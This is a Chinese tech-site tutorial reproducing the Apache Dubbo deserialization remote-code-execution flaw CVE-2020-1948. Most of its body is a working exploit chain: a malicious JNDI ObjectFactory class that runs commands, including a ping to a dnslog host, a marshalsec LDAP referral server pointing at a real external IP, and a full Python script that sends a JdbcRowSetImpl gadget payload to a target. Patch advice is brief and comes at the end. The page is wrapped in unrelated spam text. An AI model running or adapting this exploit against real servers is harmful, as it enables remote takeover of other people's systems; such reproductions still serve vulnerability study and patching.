91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

怎么進行Apache Dubbo反序列化漏洞的分析

發布時間:2022-01-18 16:21:18 來源:億速云 閱讀:297 作者:柒染 欄目:網絡安全

怎么進行Apache Dubbo反序列化漏洞的分析,相信很多沒有經驗的人對此束手無策,為此本文總結了問題出現的原因和解決方法,通過這篇文章希望你能解決這個問題。

簡介

Dubbo是阿里巴巴公司開源的一個高性能優秀的服務框架,使得應用可通過高性能的RPC實現服務的輸出和輸入功能,可以和Spring框架無縫集成。它提供了三大核心能力:面向接口的遠程方法調用,智能容錯和負載均衡,以及服務自動注冊和發現。

概述

2020年06月23日, Apache Dubbo 官方發布了Apache Dubbo 遠程代碼執行的風險通告,該漏洞編號為CVE-2020-1948,漏洞等級:高危。 Apache Dubbo是一款高性能、輕量級的開源Java RPC框架,它提供了三大核心能力:面向接口的遠程方法調用,智能容錯和負載均衡,以及服務自動注冊和發現。 Apache Dubbo Provider存在反序列化漏洞,攻擊者可以通過RPC請求發送無法識別的服務名稱或方法名稱以及一些惡意參數有效載荷,當惡意參數被反序列化時,可以造成遠程代碼執行。

影響版本

Dubbo 2.7.0 - 2.7.6 Dubbo 2.6.0 - 2.6.7 Dubbo 2.5.x (官方不再維護)

環境搭建

運行環境與編譯exp環境jdk版本均為8u121,啟動測試環境

java -jar dubbo.jar


啟動后會監聽12345端口

漏洞復現

服務指紋:


PORT      STATE SERVICE VERSION12345/tcp opentextui  Alibaba Dubbo remoting telnetd

構造poc,我們這里執行一個ping命令來驗證是否可以執行命令,新建calc.java,

importjavax.naming.Context;
importjavax.naming.Name;
importjavax.naming.spi.ObjectFactory;
importjava.util.Hashtable;
publicclasscalc implementsObjectFactory{@OverridepublicObjectgetObjectInstance(Objectobj,Namename,ContextnameCtx,Hashtable<?,?>environment)throwsException{Runtime.getRuntime().exec("ping test.sr3uwk.ceye.io");
returnnull;
}}


編譯poc

javac calc.java


將編譯好的poc(calc.class)放到web網站目錄里,確保漏洞主機可以訪問到 使用marshalsec項目啟動一個ldap代理服務,marshalsec下載:

https://github.com/RandomRobbieBF/marshalsec-jar/raw/master/marshalsec-0.0.3-SNAPSHOT-all.jar


啟動LDAP代理服務,執行該命令ldap服務會監聽8086端口


 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServerhttp://139.9.198.30/#calc 8086


執行測試腳本,此處測試使用python環境為3.8.0,先安裝依賴包

python3 -m pip install dubbo-py


腳本內容(Dubbo.py):

# -*- coding: utf-8 -*-importsysfromdubbo.codec.hessian2 importDecoder,new_objectfromdubbo.client importDubboClientiflen(sys.argv)<4:print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0]))print('\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0]))sys.exit()client =DubboClient(sys.argv[1],int(sys.argv[2]))JdbcRowSetImpl=new_object('com.sun.rowset.JdbcRowSetImpl',dataSource=sys.argv[3],strMatchColumns=["foo"])JdbcRowSetImplClass=new_object('java.lang.Class',name="com.sun.rowset.JdbcRowSetImpl",)toStringBean=new_object('com.rometools.rome.feed.impl.ToStringBean',beanClass=JdbcRowSetImplClass,obj=JdbcRowSetImpl  )resp =client.send_request_and_return_response(service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',# 此處可以是 $invoke、$invokeSync、$echo 等,通殺 2.7.7 及 CVE 公布的所有版本。method_name='$invoke',args=[toStringBean])output =str(resp)if'Fail to decode request due to: RpcInvocation'inoutput:print('[!] Target maybe not support deserialization.')elif'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()'inoutput:print('[+] Succeed.')else:print('[!] Output:')print(output)print('[!] Target maybe not use dubbo-remoting library.')


執行腳本

python3 Dubbo.py 192.168.137.17312345ldap://139.9.198.30:8086/calc


怎么進行Apache Dubbo反序列化漏洞的分析dnslog查看,成功接收到請求怎么進行Apache Dubbo反序列化漏洞的分析

ldap服務也可以看到請求轉發怎么進行Apache Dubbo反序列化漏洞的分析

彈計算器

import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable;  public class calc implements ObjectFactory {      @Override     public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {        Runtime.getRuntime().exec("calc");        return null;    } }

漏洞修復

升級 2.7.7 版本,并根據以下鏈接的方法進行參數校驗

https://github.com/apache/dubbo/pull/6374/commits/8fcdca112744d2cb98b349225a4aab365af563de

更換協議以及反序列化方式。

看完上述內容,你們掌握怎么進行Apache Dubbo反序列化漏洞的分析的方法了嗎?如果還想學到更多技能或想了解更多相關內容,歡迎關注億速云行業資訊頻道,感謝各位的閱讀!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

永康市| 达拉特旗| 金沙县| 汉源县| 廊坊市| 调兵山市| 石狮市| 新泰市| 尉氏县| 镇江市| 阿瓦提县| 普定县| 平阳县| 习水县| 汨罗市| 乾安县| 靖边县| 大洼县| 大竹县| 米泉市| 孟津县| 红安县| 民丰县| 宁安市| 卢湾区| 来安县| 获嘉县| 无为县| 望江县| 柏乡县| 寿阳县| 长治县| 平定县| 贡觉县| 襄樊市| 许昌市| 太谷县| 荔浦县| 溧水县| 眉山市| 汾西县|